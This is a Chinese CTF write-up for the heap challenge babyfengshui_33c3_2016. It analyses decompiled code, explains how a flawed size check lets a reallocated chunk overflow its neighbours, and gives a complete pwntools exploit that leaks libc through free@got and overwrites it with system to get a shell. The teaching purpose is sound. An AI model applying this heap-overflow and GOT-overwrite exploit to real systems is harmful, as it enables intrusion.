babyfengshui_33c3_2016

2024-01-16 11:59
文章标签 2016 babyfengshui 33c3

本文主要是介绍babyfengshui_33c3_2016,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

babyfengshui_33c3_2016

使用checksec查看:
在这里插入图片描述
开启了Canary和栈不可执行,看题目像是一道heap题目。

放进IDA中查看:

void __cdecl __noreturn main()
{char v0; // [esp+3h] [ebp-15h]int v1; // [esp+4h] [ebp-14h]size_t v2; // [esp+8h] [ebp-10h]unsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);alarm(0x14u);while ( 1 ){puts("0: Add a user");puts("1: Delete a user");puts("2: Display a user");puts("3: Update a user description");puts("4: Exit");printf("Action: ");if ( __isoc99_scanf("%d", &v1) == -1 )break;if ( !v1 ){printf("size of description: ");__isoc99_scanf("%u%c", &v2, &v0);sub_8048816(v2);}if ( v1 == 1 ){printf("index: ");__isoc99_scanf("%d", &v2);sub_8048905(v2);}if ( v1 == 2 ){printf("index: ");__isoc99_scanf("%d", &v2);sub_804898F(v2);}if ( v1 == 3 ){printf("index: ");__isoc99_scanf("%d", &v2);sub_8048724(v2);}if ( v1 == 4 ){puts("Bye");exit(0);}if ( byte_804B069 > 0x31u ){puts("maximum capacity exceeded, bye");exit(0);}}exit(1);
}

看菜单,堆题,那就一步一步去分析:

首先是sub_8048816(v2)创建chunk:
在这里插入图片描述

  • s = malloc(a1);首先创建用户输入大小的chunk,里面数据置0

  • v2 = malloc(0x80u);接着会创建一个0x80大小的chunk,里面数据置0

  • *v2 = s;第一次申请的chunk的地址放入第二次申请的chunk中

跟进sub_80486BB函数:
在这里插入图片描述

  • 匹配\n :也就是说如果name不为空,将第一次申请的chunk的name存放在*v2+4

跟进sub_8048724
在这里插入图片描述

  • if ( (v3 + *ptr[a1]) >= ptr[a1] - 4 ):v3是由用户输入的,*ptr[a1]实际就是sptr[a1] - 4实际是name的地址,也就是验证chunk1和chunk2之间的距离。

接着看删除函数:
在这里插入图片描述

  • 清空数据,清空指针,没啥毛病

输出函数:
在这里插入图片描述

  • 显示数据,也没啥毛病。

update:
在这里插入图片描述

  • 就是create中的sub_8048724函数。

题目思路:

  • 判断数据长度是否合法的地方有问题,可以通过申请连续小堆块,再释放,接着申请大堆块的方式绕过。

    • 首先申请连续的3个chunk012,本题用0x80,方便计算。
    • 释放第一个结构体,得到一个空闲的0x100的堆块
    • 申请新的结构体,大小为0x100
    • 那么用户新申请的0x100大小的chunk将会在chunk1前面,程序自动申请的0x80大小的chunk将会在chunk2后面
    • 校验写入数据大小是否合法时校验的是这两个chunk之间的距离。
    • 也就是说现在我们可写入的大小是0x100+0x80+0x80+0x80+0x80
    • 修改系统创建的chunk1中存储chunk1地址的位置的数据,修改成free@got造成libc泄露。
    • 在libc中找到system的地址
    • free地址内的内容替换为system
    • 执行free(2)将会执行system(/bin/sh)

    exp:

    from pwn import *#start 
    r = remote("node4.buuoj.cn",29291)
    # r = process("../buu/babyfengshui_33c3_2016")
    elf = ELF("../buu/babyfengshui_33c3_2016")
    libc = ELF("../buu/ubuntu16(32).so")def add(size,name,length,text):r.sendlineafter("Action: ",'0')r.sendlineafter("description: ",str(size))r.sendlineafter("name: ",name)r.sendlineafter("text length: ",str(length))r.sendlineafter("text: ",text)def delete(index):r.sendlineafter("Action: ", '1')r.sendlineafter("index: ", str(index))def show(index):r.sendlineafter("Action: ", '2')r.sendlineafter("index: ", str(index))def edit(index, length, text):r.sendlineafter("Action: ", '3')r.sendlineafter("index: ", str(index))r.sendlineafter("length: ", str(length))r.sendlineafter("text: ", text)#params
    free_got = elf.got['free']#attack
    add(0x80,"M1",0x80,"MMMM")
    add(0x80,"M2",0x80,"MMMM")
    add(0x80,"M3",0x80,"/bin/sh\x00")
    # gdb.attach(r)
    delete(0)
    payload = b'M'*0x198 + p32(free_got)
    add(0x100,"MM1",0x19c,payload)
    show(1)
    r.recvuntil("description: ")
    free_addr = u32(r.recv(4))#libc
    base_addr = free_addr - libc.symbols['free']
    system_addr = base_addr + libc.symbols['system']#attack2
    edit(1,0x4,p32(system_addr))
    delete(2)r.interactive()
    

这篇关于babyfengshui_33c3_2016的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/612532

相关文章

实践课堂|2016成都站|报名开始啦!

Hi,QingCloud 的小伙伴们,欢迎参加史上最有营养的云知识讲堂。 QingCloud 实践课堂系列开始于 2014 年末,在深圳、上海、广州、成都、杭州、北京六个城市,QingCloud 的研发工程师们同近千名 CIO 、架构师、开发者、运维工程师……分享了 QingCloud 的技术理念、功能特性和使用技巧,还有来自人民网、融云、泰捷视频、杏树林、友好速搭、百姓网、冰点、顺丰速运、洋葱

2016/9/11--一周的工作总结

自从九月一号开始上班到现在,现在总结一下自己的问题: 第一个问题:自己没有认真的解决问题! 刚去的第二天,施工给我了一张图纸,让我对电路图进行分析,我刚开始查了一些资料,也看了看但是一直不会做,后边就放一边了也不管了,自己一直说实习学不到东西,但是真正的问题来的时候,是否全力以赴的解决问题?这个问题你真的尽全力去解决了吗?回答是:不,我没有。我还不如一个本科的学生,我一直在逃避,一直没有

日记 01/27/2016.

有机会再看看这个: https://www.zhihu.com/question/27578379 想拿高package,多去拿几个offer再来谈,特别是hot startup的package,往往拿来要挟大公司的HR很好用。 最近在学习Angular JS,自己一定要坚持下来。然后把前端的知识补上。 打算Aug的时候,然后把Princeton的算法课上了,重新充电,然后把

2016年末程序员应该知道的基本架构思想

http://www.toutiao.com/i6352598153379709442/?tt_from=mobile_qq&utm_campaign=client_share&app=news_article&utm_source=mobile_qq&iid=6176041275&utm_medium=toutiao_ios

高教社杯数模竞赛特辑论文篇-2016年C题:电池剩余放电时间预测(附MATLAB代码实现)

目录 摘要 一、 问题重述 1.1 已知铅酸电池的基本情况与要求 1.2 需要解决的问题 1.2.1 问题 1 需要解决以下三点: 1.2.2 需要解决以下三点: 1.2.3 问题3需要解决: 二、问题分析 2.1 问题1 2.2 问题 2 2.3 问题3 三、模型假设与约定 四、符号说明及名词定义 五、模型的建立与求解 5.1 问题一的分析与求解 5.2 问题二的分析与求解 5.3 问题三的分

蘑菇街2016研发工程师编程题--回文串

题目 给定一个字符串,问是否能通过添加一个字母将其变为回文串。 输入描述: 一行一个由小写字母构成的字符串,字符串长度小于等于10。 输出描述: 输出答案(YES\NO). 示例1 输入 coco 输出 YES 解法1 使用动态规划,先看一下回文串的性质,如果一个字符串为回文串,那么翻转这个字符串以后跟原来的子串相同如下: 根据题目如果加一个字符就能使字符串成为回文串

网易2016研发工程师编程题--完全解析

前言 之前做公司的真题,碰到动态规划,还有一些数学性质的题目比较多一点。网易2016研发工程师编程题跟之前做的题目有很大的不同,不仅涉及到二叉树的编码,还涉及到图的广度遍历,最后还有一个快排。可以说这次的三个题目含金量非常的高,因此做了一下总结和分析。 1.比较重量 题目描述:小明陪小红去看钻石,他们从一堆钻石中随机抽取两颗并比较她们的重量。这些钻石的重量各不相同。在他们们比较了一段时间

mysql 与java 转换格式化格林威治时间(Tue Sep 13 00:00:00 CST 2016)两种方式

1  mysql 中处理 SELECT STR_TO_DATE('Thu Jul 20 15:04:03  2017','%a %b %e %T %Y %Y %Y') from dual ;   STR_TO_DATE(REPLACE('Tue Sep 13 00:00:00 CST 2016', '00:00:00 CST ', '') ,'%a %b %e %Y %Y %Y') 2 ja

高教社杯数模竞赛特辑论文篇-2016年A题:系泊系统设计(续)(附MATLAB代码实现)

目录 7.2 模型建立 7.2.1 系泊系统的水流力分析 7.2.2 系统构件受力分析 7.3 模型求解 7.3.1 变步长搜索算法 7.3.2 结果分析 八、模型评价及推广 8.1 模型的评价 8..2 模型的改进 8.4 模型的推广 九、参考文献 代码实现 附录 1:问题一的解答程序 附录 2 问题一沉底修补程序  附录三:问题二优化程序 附录四:熵值法 附录五:二维模型制图  附录六 三

2015年总结与2016年期望

2015年度工作述职报告 部门:   设计部        职位:   前端工程师    时间: 2016 年 01 月 11 日 1. 工作中的心得以及收获 一、回顾2015参与的项目: 溯源:质量报告,检测报告,打印BUG 工作台:bootstrap版 --> 微信切换版(张鑫旭)--> SUI框架版 工作台模块:工厂和分仓,经销商,业务员,会员,导购,销管等工